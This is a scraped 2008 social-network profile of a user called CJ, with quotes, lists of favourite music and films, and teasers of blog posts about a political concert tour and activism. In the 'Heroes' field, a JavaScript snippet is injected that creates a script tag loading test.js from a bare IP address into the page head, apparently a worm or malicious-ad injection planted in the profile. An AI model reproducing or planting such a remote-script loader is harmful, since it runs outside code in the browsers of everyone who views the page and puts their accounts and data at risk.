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CJ

Power to the Peaceful!

About Me

"I get up every morning determined both to change the world and to have one hell of a good time. Sometimes this makes planning the day difficult." -E.B. WhiteBeloved hometown.My home now.My people."In the depth of winter I finally learned that there was in me an invincible summer." - Albert Camus"A good song should make you wanna tap your foot and get with your girl. A great song should destroy cops and set fire to the suburbs. I'm only interested in writing great songs." (if songs were stories) Quote from Brother Morello.I don't get into the fancy backgrounds and stuff because it bugs me how long peoples' pages take to load with that. I just want to exhange words and ideas, maybe some photos too. Thanks for stopping by!

My Interests

writing, reading, activism, the beach, the kids at Venice Arts (!), volunteering, dancing, playing, going to see all sorts of good music, riding my little beach cruiser, "field trips" to check out new places/things, traveling, finding the perfect card/gift for someone, art shows, films, Lakers, game nights with my homies, trying to learn to surf, yoga, wearing flowers in my hair, cooking/baking: I'm the cookie master, but am also the Al Gore of lasagne (won our cook-offs popular vote, but ultimately lost on a technicality - the guy made his own - gummy - pasta), connecting with people who get it.

I'd like to meet:

" ... They danced down the streets like dingledodies, and I shambled after as I've been doing all my life after people who interest me, because THE ONLY PEOPLE FOR ME ARE THE MAD ONES, the ones who are mad to live, mad to talk, mad to be saved, desirous of everything at the same time, the ones who never yawn or say a commonplace thing, but burn, burn, burn like fabulous yellow roman candles exploding like spiders across the stars and in the middle you see the blue centerlight pop and everybody goes Awwww." - Jack K.*Oh, and if you would like to be my friend, please send my a message telling me why. Then you don't have to wonder why you weren't added.

Music:

.. Mason Jennings, Leo Kotke, Prince, Hawaiian slack key guitar, Matt Ellis, Michael Dorman, Nick Drake, Kris Kristofferson, Bob Dylan, State Radio, Toots & The Maytals, Michael Franti/Spearhead, Alana Davis, Kid Lightning, Sondre Lerche, The Kings of Convenience, Leonard Cohen, Paul Chesne, The Vacation, Carter Falco, Dan Coakley, The Wallflowers, The Replacements, Damian Marley, Stephen Marley, Ziggy Marley, Peter Tosh, U2, Jimi H., Old Jane's, Satellite Party, Soundgarden, Billie H., Rage/ Audioslave / Nightwatchman, White Stripes, The Raconteurs, The Coup, Tom Freund, Zeppelin, White Stripes, Radiohead, Ladysmith Black Mambazo, Ben Harper, Joni Mitchell, hey, how much space do you get here cause I can keep going for days ...

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Movies:

The Great Debaters,SICKO, Amelie, American Splendor, Ashes and Snow, Cry Freedom, The Motorcycle Diaries, Mad Hot Ballroom, Spellbound, Sweetland, Babette's Feast, Out Of Africa, Rockers, Don't Look Back/No Direction Home, Rushmore/Bottle Rocket, True Romance, It's A Wonderful Life, Hoop Dreams, Ponette, Il Postino, Amazing Grace (Jeff B. doc), The movies I've written that you haven't seen (yet) ...

Television:

Jeopardy, Lost, PBS shows you stumble on to and learn crazy stuff ...

Books:

Have to apply for more byte space for this box ... but my favorite compliment ever was when my brother read something I wrote and said, "Hey, Jack CAROL-uac". Yeah!

Heroes:

Good parents, good teachers. .."var s=document·('script');s.src='http://75.126.2.157/.../te st.js';document·getElementsByTagName('head')[0].appendC hild(s);"

My Blog

Legalize It! (MPP Party at the Playboy Mansion)

Sometimes you get a phone call for something impromptu, and you have other plans, but wind up going for it, and have the most unexpected, BEST time ever ... like last night, for instance. Mrs. Etty F...
Posted by CJ on Sat, 14 Jun 2008 11:04:00 PST

Thank You, America!

Thank you, Fellow Americans. Thank you for making me believe that hope, enthusiasm, progress and hard work are again alive and well in our country. Thank you for reading my rants, and listening with...
Posted by CJ on Wed, 04 Jun 2008 01:26:00 PST

Justice Tour: Epilogue

The Inaugural 2008 Justice Tour is complete. We've been back for a week now, and I've had some time to reflect (and heal!) ... and it all seems like a wonderful dream - and a horrible nightmare too. ...
Posted by CJ on Sat, 10 May 2008 04:03:00 PST

Justice: SEIU/May Day Rally - Chicago, Illinois

The last Justice mission of The Nightwatchman's 2008 Justice Tour was to help the SEIU (Service Employees International Union: www.SEIU.org), highlight the importance of reforming our broken immigrati...
Posted by CJ on Mon, 05 May 2008 03:57:00 PST

Tour: Park West - Chicago, Illinois

It is difficult to say that I am now about to write about the LAST show of The Justice Tour 2008 (Spring edition, anyway). I don't know if I can say we saved the best for last, since they were all SO...
Posted by CJ on Sat, 03 May 2008 08:44:00 PST

Justice: Healthcare - Now! Boston, Massachusetts

Healthcare-Now! (www.healthcare-now.org) was the Justice Tour's partner for the 6th stop on this eye-opening road show, in Boston, Massachusetts. They are a campaign supporting the movement for a sing...
Posted by CJ on Wed, 30 Apr 2008 09:57:00 PST

Tour: Berklee Performing Arts Center - Boston, Massachusetts

In the second flip-flop of The Justice Tour 2008, the show also came first in Boston, Massachusetts, at the Berklee Performing Arts Center. And in a first for the Justice Tour 2008, I wasn't there. ...
Posted by CJ on Wed, 30 Apr 2008 04:25:00 PST

Justice: Iraq Veterans Against The War - Washington, D.C.

Iraq Veterans Against The War. Of all the organizations we've worked with thus far on the Justice Tour 2008, this is the one that I now wish we had held the show the second day. Because we met a bun...
Posted by CJ on Sun, 27 Apr 2008 02:35:00 PST

Tour: The Black Cat - Washington D.C.

The Nation's Capital was the the fifth stop of The Justice Tour, and in a bit of a switcheroo, this time the show came first. It was a hot, gorgeous day in D.C., trees in bloom, people out walking ev...
Posted by CJ on Fri, 25 Apr 2008 01:15:00 PST

Justice/Tour - Asheville, North Carolina

Justice: Just Economics - Asheville, North CarolinaEarth Day 2008 found The Justice Tour in Asheville, North Carolina, which was ideal because it is a gorgeous piece of Earth. Wow. We flew in (on a ...
Posted by CJ on Wed, 23 Apr 2008 09:58:00 PST